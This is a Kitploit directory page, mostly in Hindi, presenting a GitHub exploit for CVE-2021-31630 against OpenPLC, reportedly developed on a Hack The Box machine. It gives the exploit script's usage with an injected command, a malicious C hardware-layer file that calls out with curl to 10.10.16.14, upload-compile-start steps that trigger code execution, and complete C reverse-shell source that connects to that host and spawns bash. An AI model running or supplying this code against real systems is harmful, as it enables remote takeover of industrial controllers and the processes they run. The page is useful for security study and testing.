Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-31630 — CVE-2021-31630 के लिए मैनुअल शोषण गाइड और पायथन एक्सप्लॉइट, जो OpenPLC को लक्षित करता है, दुर्भावनापूर्ण ST प्रोजेक्ट अपलोड और हार्डवेयर कोड इंजेक्शन के माध्यम से रिमोट कोड निष्पादन सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/userb1ank/cve-2021-31630
शोषणSCADA/ICS सुरक्षावेब एप्लिकेशन शोषणकमांड एंड कंट्रोलरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubuserb1ank/cve-2021-31630

CVE-2021-31630

CVE-2021-31630 के लिए मैनुअल शोषण गाइड और पायथन एक्सप्लॉइट, जो OpenPLC को लक्षित करता है, दुर्भावनापूर्ण ST प्रोजेक्ट अपलोड और हार्डवेयर कोड इंजेक्शन के माध्यम से रिमोट कोड निष्पादन सक्षम करता है।

रिपॉजिटरी देखें
10 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-31630

HTB की मशीन को हैक करते समय मिला एक CVE, एक्सप्लॉइट-डीबी का एक्सपी कुछ त्रुटियों के साथ था, इसलिए मैन्युअल उपयोग विधि और एक्सपी दिया गया है

स्क्रिप्ट उपयोग

कमांड निष्पादन में कोई आउटपुट नहीं मिलता

root@kitploit:~
python exp.py -u http://127.0.0.1:8080 -l openplc -p openplc -c "whoami"

मैन्युअल एक्सपी

बैकएंड में अटैक चेन इस प्रकार है

st प्रोजेक्ट बनाएं और कंपाइल करें → hardware में मैलिशियस कोड जोड़ें, और प्रोजेक्ट में कंपाइल करें → प्रोजेक्ट को start करें, मैलिशियस कोड ट्रिगर होगा

demo.st

root@kitploit:~
PROGRAM prog0
  VAR
    var_in : BOOL;
    var_out : BOOL;
  END_VAR

  var_out := var_in;
END_PROGRAM


CONFIGURATION Config0

  RESOURCE Res0 ON PLC
    TASK Main(INTERVAL := T#50ms,PRIORITY := 0);
    PROGRAM Inst0 WITH Main : prog0;
  END_RESOURCE
END_CONFIGURATION

बैकएंड में दिए गए टेम्पलेट के आधार पर, मैलिशियस कोड वाली c फ़ाइल जोड़ी गई

root@kitploit:~
#include "ladder.h"
#include<stdlib.h>
//-----------------------------------------------------------------------------
// DISCLAIMER: EDDITING THIS FILE CAN BREAK YOUR OPENPLC RUNTIME! IF YOU DON'T
// KNOW WHAT YOU'RE DOING, JUST DON'T DO IT. EDIT AT YOUR OWN RISK.
//
// PS: You can always restore original functionality if you broke something
// in here by clicking on the "Restore Original Code" button above.
//-----------------------------------------------------------------------------

//-----------------------------------------------------------------------------
// These are the ignored I/O vectors. If you want to override how OpenPLC
// handles a particular input or output, you must put them in the ignored
// vectors. For example, if you want to override %IX0.5, %IX0.6 and %IW3
// your vectors must be:
//     int ignored_bool_inputs[] = {5, 6}; //%IX0.5 and %IX0.6 ignored
//     int ignored_int_inputs[] = {3}; //%IW3 ignored
//
// Every I/O on the ignored vectors will be skipped by OpenPLC hardware layer
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

//-----------------------------------------------------------------------------
// This function is called by the main OpenPLC routine when it is initializing.
// Hardware initialization procedures for your custom layer should be here.
//-----------------------------------------------------------------------------
void initCustomLayer()
{
    system("curl http://10.10.16.14:8000");
}

//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal input
// buffers must be updated with the values you want. Make sure to use the mutex 
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomIn()
{
    // Example Code - Overwritting %IW3 with a fixed value
    // If you want to have %IW3 constantly reading a fixed value (for example, 53)
    // you must add %IW3 to the ignored vectors above, and then just insert this 
    // single line of code in this function:
    //     if (int_input[3] != NULL) *int_input[3] = 53;
}

//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal output
// buffers must be updated with the values you want. Make sure to use the mutex 
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomOut()
{
    // Example Code - Sending %QW5 value over I2C
    // If you want to have %QW5 output to be sent over I2C instead of the
    // traditional output for your board, all you have to do is, first add
    // %QW5 to the ignored vectors, and then define a send_over_i2c()
    // function for your platform. Finally you can call send_over_i2c() to 
    // send your %QW5 value, like this:
    //     if (int_output[5] != NULL) send_over_i2c(*int_output[5]);
    //
    // Important observation: If your I2C pins are used by OpenPLC I/Os, you
    // must also add those I/Os to the ignored vectors, otherwise OpenPLC
    // will try to control your I2C pins and your I2C message won't work.
}

st फ़ाइल अपलोड करें, नया प्रोजेक्ट बनाने के लिए

image-20240330232607509

upload बटन पर क्लिक करें, कंपाइल करना शुरू करें

image-20240330232623198

प्रोजेक्ट को सफलतापूर्वक कंपाइल करना आवश्यक है ताकि अगला हमला कदम उठाया जा सके

image-20240330232712740

hardware में मैलिशियस कोड इंजेक्ट करें

image-20240330232748945

नीचे save बटन पर क्लिक करें, कोड प्रोजेक्ट में कंपाइल हो जाएगा

image-20240330232819994

कंपाइल सफल होने के बाद start बटन पर क्लिक करें, मैलिशियस कोड निष्पादित हो जाएगा

image-20240330232845938

सफलतापूर्वक आउटपुट प्राप्त हुआ

image-20240330232902304

रिवर्स शेल

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer()
{
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.14");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
    char * const argv[] = {"bash", NULL};
    execvp("bash", argv);
}

void updateCustomIn()
{

}


void updateCustomOut()
{

}
टूल डाउनलोड करें